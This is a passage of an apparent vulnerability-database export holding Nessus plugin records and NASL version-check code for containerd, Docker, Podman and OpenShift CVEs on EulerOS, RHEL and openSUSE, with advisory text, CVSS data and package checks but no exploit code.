control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\n - containerd is an industry-standard container runtime and is available as a daemon for Linux and Windows.\n In containerd before versions 1.3.9 and 1.4.3, the containerd-shim API is improperly exposed to host\n network containers. Access controls for the shim's API socket verified that the connecting process had an\n effective UID of 0, but did not otherwise restrict access to the abstract Unix domain socket. This would\n allow malicious containers running in the same network namespace as the shim, with an effective UID of 0\n but otherwise reduced privileges, to cause new processes to be run with elevated privileges. This\n vulnerability has been fixed in containerd 1.3.9 and 1.4.3. Users should update to these versions as soon\n as they are released. It should be noted that containers started with an old version of containerd-shim\n should be stopped and restarted, as running containers will continue to be vulnerable even after an\n upgrade. If you are not providing the ability for untrusted users to start containers in the same network\n namespace as the shim (typically the 'host' network namespace, for example with docker run --net=host or\n hostNetwork: true in a Kubernetes pod) and run with an effective UID of 0, you are not vulnerable to this\n issue. If you are running containers with a vulnerable configuration, you can deny access to all abstract\n sockets with AppArmor by adding a line similar to deny unix addr=@**, to your policy. It is best practice\n to run containers with a reduced set of privileges, with a non-zero UID, and with isolated namespaces. The\n containerd maintainers strongly advise against sharing namespaces with the host. Reducing the set of\n isolation mechanisms used for a container necessarily increases that container's privilege, regardless of\n what container runtime is used for running that container. (CVE-2020-15257)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where\n pulling and extracting a specially-crafted container image can result in Unix file permission changes for\n existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner\n of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does\n not directly allow files to be read, modified, or executed without an additional cooperating process. This\n bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from\n trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially\n affected by this bug through policies and profiles that prevent containerd from interacting with specific\n files. (CVE-2021-32760)\n\n - containerd is an open source container runtime with an emphasis on simplicity, robustness and portability.\n A bug was found in containerd where container root directories and some plugins had insufficiently\n restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and\n execute programs. When containers included executable programs with extended permission bits (such as\n setuid), unprivileged Linux users could discover and execute those programs. When the UID of an\n unprivileged Linux user on the host collided with the file owner or group inside a container, the\n unprivileged Linux user on the host could discover, read, and modify those files. This vulnerability has\n been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are\n released and may restart containers or update directory permissions to mitigate the vulnerability. Users\n unable to update should limit access to the host to trusted users. Update directory permission on\n container bundles directories. (CVE-2021-41103)\n\n - Moby is an open-source project created by Docker to enable and accelerate software containerization. A bug\n was found in Moby (Docker Engine) prior to version 20.10.14 where containers were incorrectly started with\n non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling\n programs with inheritable file capabilities to elevate those capabilities to the permitted set during\n `execve(2)`. Normally, when executable programs have specified permitted file capabilities, otherwise\n unprivileged users and processes can execute those programs and gain the specified file capabilities up to\n the bounding set. Due to this bug, containers which included executable programs with inheritable file\n capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable\n file capabilities up to the container's bounding set. Containers which use Linux users and groups to\n perform privilege separation inside the container are most directly impacted. This bug did not affect the\n container security sandbox as the inheritable set never contained more capabilities than were included in\n the container's bounding set. This bug has been fixed in Moby (Docker Engine) 20.10.14. Running containers\n should be stopped, deleted, and recreated for the inheritable capabilities to be reset. This fix changes\n Moby (Docker Engine) behavior such that containers are started with a more typical Linux environment. As a\n workaround, the entry point of a container can be modified to use a utility like `capsh(1)` to drop\n inheritable capabilities prior to the primary process starting. (CVE-2022-24769)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security\nadvisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional\nissues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2022-1886\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?d8229852\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected docker-engine packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41103\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2022/06/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/06/17\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine-selinux\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nvar release = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nvar uvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\");\n\nvar sp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(5)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\");\n\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nvar flag = 0;\n\nvar pkgs = [\n \"docker-engine-18.09.0.101-1.h52.22.9.eulerosv2r7\",\n \"docker-engine-selinux-18.09.0.101-1.h52.22.9.eulerosv2r7\"\n];\n\nforeach (var pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"5\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"docker-engine\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-19T14:35:58", "description": "The remote Redhat Enterprise Linux 7 / 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2020:5634 advisory.\n\n - atomic-openshift: cross-namespace owner references can trigger deletions of valid children (CVE-2019-3884)\n\n - containerd: credentials leak during image pull (CVE-2020-15157)\n\n - python-rsa: bleichenbacher timing oracle attack against RSA decryption (CVE-2020-25658)\n\n - golang: math/big: panic during recursive division of very large numbers (CVE-2020-28362)\n\n - kubernetes: Ceph RBD adminSecrets exposed in logs when loglevel >= 4 (CVE-2020-8566)\n\n - gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index validation (CVE-2021-3121)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 8.6, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}, "published": "2021-02-24T00:00:00", "type": "nessus", "title": "RHEL 7 / 8 : OpenShift Container Platform 4.7.0 packages (RHSA-2020:5634)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-3884", "CVE-2020-15157", "CVE-2020-25658", "CVE-2020-28362", "CVE-2020-8566", "CVE-2021-3121"], "modified": "2022-05-17T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:7", "cpe:/o:redhat:enterprise_linux:8", "p-cpe:/a:redhat:enterprise_linux:cri-o", "p-cpe:/a:redhat:enterprise_linux:cri-tools", "p-cpe:/a:redhat:enterprise_linux:ignition-validate", "p-cpe:/a:redhat:enterprise_linux:openshift-hyperkube"], "id": "REDHAT-RHSA-2020-5634.NASL", "href": "https://www.tenable.com/plugins/nessus/146810", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2020:5634. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(146810);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/17\");\n\n script_cve_id(\n \"CVE-2019-3884\",\n \"CVE-2020-8566\",\n \"CVE-2020-15157\",\n \"CVE-2020-25658\",\n \"CVE-2021-3121\"\n );\n script_bugtraq_id(107649);\n script_xref(name:\"RHSA\", value:\"2020:5634\");\n script_xref(name:\"IAVB\", value:\"2020-B-0071-S\");\n\n script_name(english:\"RHEL 7 / 8 : OpenShift Container Platform 4.7.0 packages (RHSA-2020:5634)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 7 / 8 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2020:5634 advisory.\n\n - atomic-openshift: cross-namespace owner references can trigger deletions of valid children (CVE-2019-3884)\n\n - containerd: credentials leak during image pull (CVE-2020-15157)\n\n - python-rsa: bleichenbacher timing oracle attack against RSA decryption (CVE-2020-25658)\n\n - golang: math/big: panic during recursive division of very large numbers (CVE-2020-28362)\n\n - kubernetes: Ceph RBD adminSecrets exposed in logs when loglevel >= 4 (CVE-2020-8566)\n\n - gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index validation (CVE-2021-3121)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/117.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/129.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/200.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/290.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/295.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/385.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-3884\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-8566\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-15157\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-25658\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-28362\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2021-3121\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:5634\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1693905\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1886640\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1888248\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1889972\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1897635\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1921650\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-3121\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_cwe_id(117, 129, 200, 290, 295, 385);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/03/29\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:8\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:cri-o\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:cri-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ignition-validate\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:openshift-hyperkube\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"redhat_repos.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\ninclude('rhel.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nvar release = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nvar os_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nvar os_ver = os_ver[1];\nif (!rhel_check_release_list(operator: 'ge', os_version: os_ver, rhel_versions: ['7','8'])) audit(AUDIT_OS_NOT, 'Red Hat 7.x / 8.x', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nvar repositories = {\n 'openshift_4_7_el7': [\n 'rhel-7-for-system-z-ose-4.7-rpms',\n 'rhel-7-server-ose-4.7-debug-rpms',\n 'rhel-7-server-ose-4.7-rpms',\n 'rhel-7-server-ose-4.7-source-rpms'\n ],\n 'openshift_4_7_el8': [\n 'rhocp-4.7-for-rhel-8-s390x-debug-rpms',\n 'rhocp-4.7-for-rhel-8-s390x-rpms',\n 'rhocp-4.7-for-rhel-8-s390x-source-rpms',\n 'rhocp-4.7-for-rhel-8-x86_64-debug-rpms',\n 'rhocp-4.7-for-rhel-8-x86_64-rpms',\n 'rhocp-4.7-for-rhel-8-x86_64-source-rpms'\n ]\n};\n\nvar repo_sets = rhel_get_valid_repo_sets(repositories:repositories);\nif(repo_sets == RHEL_REPOS_NO_OVERLAP_MESSAGE) audit(AUDIT_PACKAGE_LIST_MISSING, RHEL_REPO_AUDIT_PACKAGE_LIST_DETAILS);\n\nvar pkgs = [\n {'reference':'cri-o-1.20.0-0.rhaos4.7.git8921e00.el7.51', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'openshift', 'repo_list':['openshift_4_7_el7', 'openshift_4_7_el8']},\n {'reference':'cri-tools-1.18.0-3.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'openshift', 'repo_list':['openshift_4_7_el7', 'openshift_4_7_el8']},\n {'reference':'openshift-hyperkube-4.7.0-202102060108.p0.git.97095.7271b90.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'openshift', 'repo_list':['openshift_4_7_el7', 'openshift_4_7_el8']},\n {'reference':'cri-o-1.20.0-0.rhaos4.7.git8921e00.el8.51', 'cpu':'s390x', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'openshift', 'repo_list':['openshift_4_7_el8']},\n {'reference':'cri-o-1.20.0-0.rhaos4.7.git8921e00.el8.51', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'openshift', 'repo_list':['openshift_4_7_el8']},\n {'reference':'ignition-validate-1.20.0-0.rhaos4.7.git8921e00.el7.51', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'openshift', 'repo_list':['openshift_4_7_el8']},\n {'reference':'openshift-hyperkube-4.7.0-202102060108.p0.git.97095.7271b90.el8', 'cpu':'s390x', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'openshift', 'repo_list':['openshift_4_7_el8']},\n {'reference':'openshift-hyperkube-4.7.0-202102060108.p0.git.97095.7271b90.el8', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'openshift', 'repo_list':['openshift_4_7_el8']}\n];\n\nvar flag = 0;\nforeach package_array ( pkgs ) {\n var reference = NULL;\n var release = NULL;\n var sp = NULL;\n var cpu = NULL;\n var el_string = NULL;\n var rpm_spec_vers_cmp = NULL;\n var epoch = NULL;\n var allowmaj = NULL;\n var exists_check = NULL;\n var repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (!empty_or_null(package_array['exists_check'])) exists_check = package_array['exists_check'];\n if (reference &&\n release &&\n (rhel_decide_repo_check(repo_list:repo_list, repo_sets:repo_sets) || (!exists_check || rpm_exists(release:release, rpm:exists_check))) &&\n rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n}\n\nif (flag)\n{\n var extra = NULL;\n if (empty_or_null(repo_sets)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'cri-o / cri-tools / ignition-validate / openshift-hyperkube');\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-12T23:20:37", "description": "The remote SUSE Linux SUSE15 host has packages installed that are affected by multiple vulnerabilities as referenced in the openSUSE-SU-2022:23018-1 advisory.\n\n - An information disclosure vulnerability was found in containers/podman in versions before 2.0.5. When using the deprecated Varlink API or the Docker-compatible REST API, if multiple containers are created in a short duration, the environment variables from the first container will get leaked into subsequent containers. An attacker who has control over the subsequent containers could use this flaw to gain access to sensitive information stored in such variables. (CVE-2020-14370)\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\n - Rootless containers run with Podman, receive all traffic with a source IP address of 127.0.0.1 (including from remote hosts). This impacts containerized applications that trust localhost (127.0.01) connections by default and do not require authentication. This issue affects Podman 1.8.0 onwards. (CVE-2021-20199)\n\n - A deadlock vulnerability was found in 'github.com/containers/storage' in versions before 1.28.1. When a container image is processed, each layer is unpacked using `tar`. If one of those layers is not a valid `tar` archive this causes an error leading to an unexpected situation where the code indefinitely waits for the tar unpacked stream, which never finishes. An attacker could use this vulnerability to craft a malicious image, which when downloaded and stored by an application using containers/storage, would then cause a deadlock leading to a Denial of Service (DoS). (CVE-2021-20291)\n\n - An information disclosure flaw was found in Buildah, when building containers using chroot isolation.\n Running processes in container builds (e.g. Dockerfile RUN commands) can access environment variables from parent and grandparent processes. When run in a container in a CI/CD environment, environment variables may include sensitive information that was shared with the container in order to be used only by Buildah itself (e.g. container registry credentials). (CVE-2021-3602)\n\n - A flaw was found in podman. The `podman machine` function (used to create and manage Podman virtual machine containing a Podman process) spawns a `gvproxy` process on the host system. The `gvproxy` API is accessible on port 7777 on all IP addresses on the host. If that port is open on the host's firewall, an attacker can potentially use the `gvproxy` API to forward ports on the host to ports in the VM, making private services on the VM accessible to the network. This issue could be also used to interrupt the host's services by forwarding all ports to the VM. (CVE-2021-4024)\n\n - The OCI Distribution Spec project defines an API protocol to facilitate and standardize the distribution of content. In the OCI Distribution Specification version 1.0.0 and prior, the Content-Type header alone was used to determine the type of document during push and pull operations. Documents that contain both manifests and layers fields could be interpreted as either a manifest or an index in the absence of an accompanying Content-Type header. If a Content-Type header changed between two pulls of the same digest, a client may interpret the resulting content differently. The OCI Distribution Specification has been updated to require that a mediaType value present in a manifest or index match the Content-Type header used during the push and pull operations. Clients pulling from a registry may distrust the Content-Type header and reject an ambiguous document that contains both manifests and layers fields or manifests and config fields if they are unable to update to version 1.0.1 of the spec. (CVE-2021-41190)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 6.5, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"}, "published": "2022-03-05T00:00:00", "type": "nessus", "title": "openSUSE 15 Security Update : conmon, libcontainers-common, libseccomp, podman (openSUSE-SU-2022:23018-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-14370", "CVE-2020-15157", "CVE-2021-3602", "CVE-2021-4024", "CVE-2021-20199", "CVE-2021-20291", "CVE-2021-41190"], "modified": "2022-03-05T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:conmon", "p-cpe:/a:novell:opensuse:libcontainers-common", "p-cpe:/a:novell:opensuse:libseccomp-devel", "p-cpe:/a:novell:opensuse:libseccomp-tools", "p-cpe:/a:novell:opensuse:libseccomp2", "p-cpe:/a:novell:opensuse:libseccomp2-32bit", "p-cpe:/a:novell:opensuse:podman", "p-cpe:/a:novell:opensuse:podman-cni-config", "cpe:/o:novell:opensuse:15.3"], "id": "OPENSUSE-2022-23018-1.NASL", "href": "https://www.tenable.com/plugins/nessus/158634", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n#\n# The package checks in this plugin were extracted from\n# openSUSE Security Update openSUSE-SU-2022:23018-1. The text itself\n# is copyright (C) SUSE.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(158634);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/05\");\n\n script_cve_id(\n \"CVE-2020-14370\",\n \"CVE-2020-15157\",\n \"CVE-2021-3602\",\n \"CVE-2021-4024\",\n \"CVE-2021-20199\",\n \"CVE-2021-20291\",\n \"CVE-2021-41190\"\n );\n\n script_name(english:\"openSUSE 15 Security Update : conmon, libcontainers-common, libseccomp, podman (openSUSE-SU-2022:23018-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote SUSE host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote SUSE Linux SUSE15 host has packages installed that are affected by multiple vulnerabilities as referenced in\nthe openSUSE-SU-2022:23018-1 advisory.\n\n - An information disclosure vulnerability was found in containers/podman in versions before 2.0.5. When\n using the deprecated Varlink API or the Docker-compatible REST API, if multiple containers are created in\n a short duration, the environment variables from the first container will get leaked into subsequent\n containers. An attacker who has control over the subsequent containers could use this flaw to gain access\n to sensitive information stored in such variables. (CVE-2020-14370)\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\n - Rootless containers run with Podman, receive all traffic with a source IP address of 127.0.0.1 (including\n from remote hosts). This impacts containerized applications that trust localhost (127.0.01) connections by\n default and do not require authentication. This issue affects Podman 1.8.0 onwards. (CVE-2021-20199)\n\n - A deadlock vulnerability was found in 'github.com/containers/storage' in versions before 1.28.1. When a\n container image is processed, each layer is unpacked using `tar`. If one of those layers is not a valid\n `tar` archive this causes an error leading to an unexpected situation where the code indefinitely waits\n for the tar unpacked stream, which never finishes. An attacker could use this vulnerability to craft a\n malicious image, which when downloaded and stored by an application using containers/storage, would then\n cause a deadlock leading to a Denial of Service (DoS). (CVE-2021-20291)\n\n - An information disclosure flaw was found in Buildah, when building containers using chroot isolation.\n Running processes in container builds (e.g. Dockerfile RUN commands) can access environment variables from\n parent and grandparent 